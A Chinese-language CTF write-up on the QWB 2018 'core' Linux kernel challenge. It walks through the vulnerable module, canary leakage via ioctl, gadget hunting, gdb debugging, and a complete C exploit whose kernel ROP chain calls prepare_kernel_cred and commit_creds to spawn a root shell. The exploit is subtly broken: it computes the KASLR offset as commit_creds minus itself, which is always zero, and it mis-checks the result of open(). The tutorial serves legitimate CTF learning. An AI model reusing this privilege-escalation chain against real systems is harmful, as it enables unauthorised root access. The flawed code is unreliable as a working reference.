例題:強網(wǎng)杯2018 - core
1.反編譯代碼分析
文件里面包含了這幾個文件
bzImage,core.cpio,start.sh,vmlinux
先看看start.sh
- qemu-system-x86_64
-m 128M
-kernel ./bzImage
-initrd ./core.cpio
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"
-s
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0
-nographic \\
可以看到咱們這兒題目采用了kaslr ,有地址隨機,所以咱們需要泄露地址,大致思路和用戶態(tài)一致。這里還注意那就是從ctfwiki上面下載下來的題目是-m 64M,這里會出現(xiàn)運行不了虛擬機的情況,所以咱們改為128M即可,這是內(nèi)存大小的定義,太小了跑不動。
之后咱們再看看文件系統(tǒng)解壓后得到的init腳本:
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mv exp.c /
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
#setsid /bin/cttyhack setuidgid 0 /bin/sh
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\\n'
umount /proc
umount /sys
poweroff -d 0 -f
從中我們可以看到文件系統(tǒng)中insmod了一個core.ko,一般來講這就是漏洞函數(shù)了,還有咱們可以添加setsid /bin/cttyhack setuidgid 0 /bin/sh這一句來使得我們進入虛擬機的時候就是root權(quán)限,大伙不必驚慌,這里是因為咱們是再本地需要進行調(diào)試,所以init腳本任我們改,start腳本也是,咱們可以直接把kalsr關(guān)了也行,但關(guān)了并不代表咱們不管,咱們這一舉動主要是為了方便調(diào)試的,最終打遠程還是人家說了算,咱們值有一個exp能提交。
接著分析init,這里還發(fā)現(xiàn)開始時內(nèi)核符號表被復(fù)制了一份到/tmp/kalsyms中,利用這個我們可以獲得內(nèi)核中所有函數(shù)的地址,還有個惡心的地方那就是這里開啟了定時關(guān)機,咱們可以把這給先注釋掉poweroff -d 120 -f &進入漏洞模塊的分析。
這里可以看到有canary和NX,所以咱們通過ROP的話需要進行canary泄露。
接下來咱們分析相關(guān)函數(shù)init_moddule:
可以看到模塊加載的初期會創(chuàng)建一個名為core的進程,在虛擬機中在/proc目錄下。
再看看比較重要的ioctl函數(shù):
可以看出有三個模式選擇,分別點入相關(guān)函數(shù)看
" class="anchor" href="#
這里的read函數(shù)就是向用戶指定的地址從off偏移地址寫入64個字節(jié)。而從ioctl中第二個case可以看到咱們居然可以設(shè)置off,所以我們可以通過設(shè)置偏移來寫入canary的值,而我們從ida中可以看到咱們的canary是位于這里。
可以知道相差對于v5相差0x40,所以咱們設(shè)置的off也是0x40我們還可以來看看file_operations,(不秦楚的大伙可以看看我的上一篇環(huán)境搭建的文章),可以看到他只實現(xiàn)了write,ioctl,release的系統(tǒng)調(diào)用:
我們再來看看其他函數(shù),先看core_write:
這里可以知道他總共可以向name這個地址寫入0x800個字節(jié),心動
我們再來看看ioctl中第三個選項的core_copy_func
發(fā)現(xiàn)他可以從name上面拷貝數(shù)據(jù)到達棧上,然后這個判斷存在著整形溢出,這里如果咱傳個負數(shù)就可以達成效果了。
1. Kernel ROP
既然咱們可以在棧上做手腳,那么我們就可以利用ROP的方式了,首先找?guī)讉€gadget,這里的gadget是需要在vmlinux中尋找,我的推薦是用:
objdump -d ./vmlinux > ropgadget \\
cat ropgadget | grep "pop rdi; ret"
這樣的類型進行尋找[/md]
1.尋找gadget
如圖:對于上面所說的比較關(guān)鍵的兩個函數(shù)commit_creds以及prepare_kernel_cred,我們在vmlinux中去尋找他所加載的的地址
然后我們可以看看ropgadget文件。
從中咱們可以看到其中即我們所需要的gadget(實際上就是linux內(nèi)核鏡像所使用的匯編代碼),此時我們再通過linux自帶的grep進行搜索,個人認為還是比較好用的,用ropgadget或者是ropper來說都可以,看各位師傅的喜好來.
以此手法獲得兩個主要函數(shù)的地址后,此刻若咱們在exp中獲得這兩個函數(shù)的實際地址,然后將兩者相減即可得到KASLR的偏移地址。
自此咱們繼續(xù)搜索別的gadget,我們此刻需要的gadget共有如下幾個:
swapgs; popfq; ret;
mov rdi, rax; call rdx;
pop rdx; ret;
pop rdi; ret;
pop rcx; ret;
iretq
師傅們可以用上述方法自行尋找。
2. 自行構(gòu)造返回狀態(tài)
雖然咱們的提權(quán)是在內(nèi)核態(tài)當中,但我們最終還是需要返回用戶態(tài)來得到一個root權(quán)限的shell,所以當我們進行棧溢出rop之后還需要利用swapgs等保存在內(nèi)核棧上的寄存器值返回到應(yīng)得的位置,但是如何保證返回的時候不出錯呢?
那就只能在調(diào)用內(nèi)核態(tài)的時候?qū)⒓磳⒈4娴恼_的寄存器值先保存在咱們自己申請的值里面,這樣就方便咱們在rop鏈結(jié)尾填入他們實現(xiàn)返回不報錯。既然涉及到了保存值,那我們就需要內(nèi)嵌匯編代碼來實現(xiàn)此功能,代碼如下,這也可以視為一個通用代碼:
size_t user_cs, user_ss,user_rflags,user_sp;
//int fd = 0; // file pointer of process 'core'
void saveStatus(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\\033[34m\\033[1m Status has been saved . \\033[0m");
}
大伙學(xué)到了內(nèi)核pwn,那匯編功底自然不必說,我就不解釋這段代碼功能了。
3. 攻擊思路
現(xiàn)在開始咱們的攻擊思路思考,在上面介紹各個函數(shù)的時候我也稍微講了點,我們所做的事主要如下:
- 利用ioctl中的選項2.修改off為0x40
- 利用core_read,也就是ioctl中的選項1,可將局部變量v5的off偏移地址打印,經(jīng)過調(diào)試可發(fā)現(xiàn)這里即為canary
- 當咱們打印了canary,現(xiàn)在即可進行棧溢出攻擊了,但是溢出哪個棧呢,我們發(fā)現(xiàn)ioctl的第三個選項中調(diào)用的函數(shù) core_copy_func,會將bss段上的name輸入在棧上,輸入的字節(jié)數(shù)取決于咱們傳入的數(shù)字,并且此時他又整型溢出漏洞,好,就決定冤大頭是他了
- core.ko 所實現(xiàn)的系統(tǒng)調(diào)用write可以發(fā)現(xiàn)其中可以將我們傳入的值寫到bss段中的name上面,天助我也,所以咱們就可以在上面適當?shù)臉?gòu)造rop鏈進行棧溢出了
大伙看到這里是不是覺得有點奇怪,剛才不是說要泄露地址碼,這兄弟是不是講錯了,就這?大家不要慌,我這正要講解,從上面的init腳本中我們可以看到這一句:
cat /proc/kallsyms > /tmp/kallsyms
其中 /proc/kallsyms中包含了內(nèi)核中所有用到的符號表,而處于用戶態(tài)的我們是不能訪問的,所以出題人貼心的將他輸出到了/tmp/kallsyms中,這就使得我們在用戶態(tài)也依然可以訪問了,所以我們還得在exp中寫一個文件遍歷的功能,當然這對于學(xué)過系統(tǒng)編程的同學(xué)并不在話下。
這里貼出代碼給大伙先看看
void get_function_address(){
FILE* sym_table = fopen("/tmp/kallsyms", "r"); // including all address of kernel functions,just like the user model running address.
if(sym_table == NULL){
printf("\\033[31m\\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\\n\\033[0m");
exit(1);
}
size_t addr = 0;
char type[0x10];
char func_name[0x50];
// when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end.
while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){
if(commit_creds && prepare_kernel_cred) // two addresses of key functions are all found, return directly.
return;
if(!strcmp(func_name, "commit_creds")){ // function "commit_creds" found
commit_creds = addr;
printf("\\033[32m\\033[1m[+] Note: Address of function \"commit_creds\" found: \\033[0m%#llx\\n", commit_creds);
}else if(!strcmp(func_name, "prepare_kernel_cred")){
prepare_kernel_cred = addr;
printf("\\033[32m\\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \\033[0m%#llx\\n", prepare_kernel_cred);
}
}
}
當知道exp思路之后,其他的一切就簡單起來,只需要看懂他然后實現(xiàn)即可。
4. gbb調(diào)試qemu中內(nèi)核基本方法
眾所周知,調(diào)試在pwn中是十分重要的,特別是動調(diào),所以這里介紹下gdb調(diào)試內(nèi)核的方法。
由于咱們的內(nèi)核是跑在qemu中,所以我們gdb需要用到遠程調(diào)試的方法,但是如果直接連端口的話會出現(xiàn)沒符號表不方便調(diào)試的,所以我們需要自行導(dǎo)入內(nèi)核模塊,也就是文件提供的vmlinux,之后由于咱們還需要core.ko的符號表,所以咱們也可以通過自行導(dǎo)入來獲得可以,通過 add-symbol-file core.ko textaddr 加載,而這里的textaddr即為core.ko的.text段地址,我們可以通過修改init中為root權(quán)限進行設(shè)置。
這里.text 段的地址可以通過 /sys/modules/core/section/.text 來查看,
這里強烈建議大伙先關(guān)kaslr(通過在啟動腳本修改,就是將kaslr改為nokaslr)再進行調(diào)試。
我們可以通過-gdb tcp:port或者 -s來開啟調(diào)試端口,start.sh 中已經(jīng)有了 -s,不必再自己設(shè)置。(對了如果-s ,他的功能等同于-gdb tcp:1234)
在我們獲得.text基地址后記得用腳本來開gdb,不然每次都要輸入這么些個東西太麻煩了,腳本如下十分簡單:
#!/bin/bash
gdb -q \\
-ex "" \\
-ex "file ./vmlinux" \\
-ex "add-symbol-file ./extract/core.ko 0xffffffffc0000000" \\
-ex "b core_copy_func" \\
-ex "target remote localhost:1234" \\
其中打斷點可以先打在core_read,這里打在core_copy_func是我調(diào)到尾聲修改的。這里還注意一個點,就是當采用pwndbg的時侯需要root權(quán)限才可以進行調(diào)試不然會出現(xiàn)以下錯誤:
最開始氣死我了,人家peda都不要root,但是最開始不清楚為什么會錯,我還以為是版本問題,但想到這是我最近剛配的一臺機子又應(yīng)該不是,其實最開始看到permission就該想到的。
我們用root權(quán)限進行開調(diào):
可以看到十分的成功,此刻我continue,還記得咱們下的斷電碼,b core_read,如果咱們調(diào)用它后咱們就會在這里停下來,此刻我們運行咱們的程序試試。
這樣咱們就可以愉快的進行調(diào)試啦,至此gdb調(diào)試內(nèi)核基本方法到此結(jié)束~~~
5. ROP鏈解析
這里簡單講講,直接給圖:
相信大家理解起來不費力。
6. exp
本次exp如下,大伙看看:
#include
#include
#include
#include
#include
#include
#include
#include
size_t commit_creds = NULL, prepare_kernel_cred = NULL; // address of to key function
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RDI_RET 0xffffffff81000b2f
#define POP_RCX_RET 0xffffffff81021e53
#define IRETQ 0xffffffff81050ac2
size_t user_cs, user_ss,user_rflags,user_sp;
//int fd = 0; // file pointer of process 'core'
/*void saveStatus();
void get_function_address();
#void core_read(int fd, char* buf);
void change_off(int fd, long long off);
void core_copy_func(int fd, long long nbytes);
void print_binary(char* buf, int length);
void shell();
*/
void saveStatus(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\\033[34m\\033[1m Status has been saved . \\033[0m");
}
void core_read(int fd, char *addr){
printf("try read\\n");
ioctl(fd,0x6677889B,addr);
printf("read done!");
}
void change_off(int fd, long long off){
printf("try set off \\n");
ioctl(fd,0x6677889C,off);
}
void core_copy_func(int fd, long long nbytes){
puts("try cp\\n");
ioctl(fd,0x6677889A,nbytes);
}
void get_function_address(){
FILE* sym_table = fopen("/tmp/kallsyms", "r"); // including all address of kernel functions,just like the user model running address.
if(sym_table == NULL){
printf("\\033[31m\\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\\n\\033[0m");
exit(1);
}
size_t addr = 0;
char type[0x10];
char func_name[0x50];
// when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end.
while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){
if(commit_creds && prepare_kernel_cred) // two addresses of key functions are all found, return directly.
return;
if(!strcmp(func_name, "commit_creds")){ // function "commit_creds" found
commit_creds = addr;
printf("\\033[32m\\033[1m[+] Note: Address of function \"commit_creds\" found: \\033[0m%#llx\\n", commit_creds);
}else if(!strcmp(func_name, "prepare_kernel_cred")){
prepare_kernel_cred = addr;
printf("\\033[32m\\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \\033[0m%#llx\\n", prepare_kernel_cred);
}
}
}
void shell(){
if(getuid()){
printf("\\033[31m\\033[1m[x] Error: Failed to get root, exiting......\\n\\033[0m");
exit(1);
}
printf("\\033[32m\\033[1m[+] Getting the root......\\033[0m\\n");
system("/bin/sh");
exit(0);
}
int main(){
saveStatus();
int fd = open("/proc/core",2); //get the process fd
if(!fd){
printf("\\033[31m\\033[1m[x] Error: Cannot open process \"core\"\\n\\033[0m");
exit(1);
}
char buffer[0x100] = {0};
get_function_address(); // get addresses of two key function
ssize_t vmlinux = commit_creds - commit_creds; //base address
printf("vmlinux_base = %x",vmlinux);
//get canary
size_t canary;
change_off(fd,0x40);
//getchar();
core_read(fd,buffer);
canary = ((size_t *)buffer)[0];
printf("canary ==> %p\\n",canary);
//build the ROP
size_t rop_chain[0x1000] ,i= 0;
printf("construct the chain\\n");
for(i=0; i< 10 ;i++){
rop_chain[i] = canary;
}
rop_chain[i++] = POP_RDI_RET + vmlinux ;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred ; //prepare_kernel_cred(0)
rop_chain[i++] = POP_RDX_RET + vmlinux;
rop_chain[i++] = POP_RCX_RET + vmlinux;
rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + vmlinux;
rop_chain[i++] = commit_creds ;
rop_chain[i++] = SWAPGS_POPFQ_RET + vmlinux;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + vmlinux;
rop_chain[i++] = (size_t)shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;
write(fd,rop_chain,0x800);
core_copy_func(fd,0xffffffffffff0100);
}
7. 編譯運行
這里有個小知識,那就是在被攻擊的內(nèi)核中一般不會給你庫函數(shù),所以咱們需要用gcc中的-static參數(shù)進行靜態(tài)鏈接,然后就是為了支持內(nèi)嵌匯編代碼,所以我們需要使用-masm=intel,這里intel也可以換amd,看各位匯編語言用的啥來進行修改,我這里用的把保存狀態(tài)代碼是intel支持的。
gcc test.c -o test -static -masm=intel -g
將此編譯得到的二進制文件打包近文件系統(tǒng)然后重新啟動,情況如圖:
成功提權(quán)!
-
內(nèi)核
+關(guān)注
關(guān)注
3文章
1378瀏覽量
40341 -
PWN
+關(guān)注
關(guān)注
0文章
11瀏覽量
16699
發(fā)布評論請先 登錄
相關(guān)推薦
評論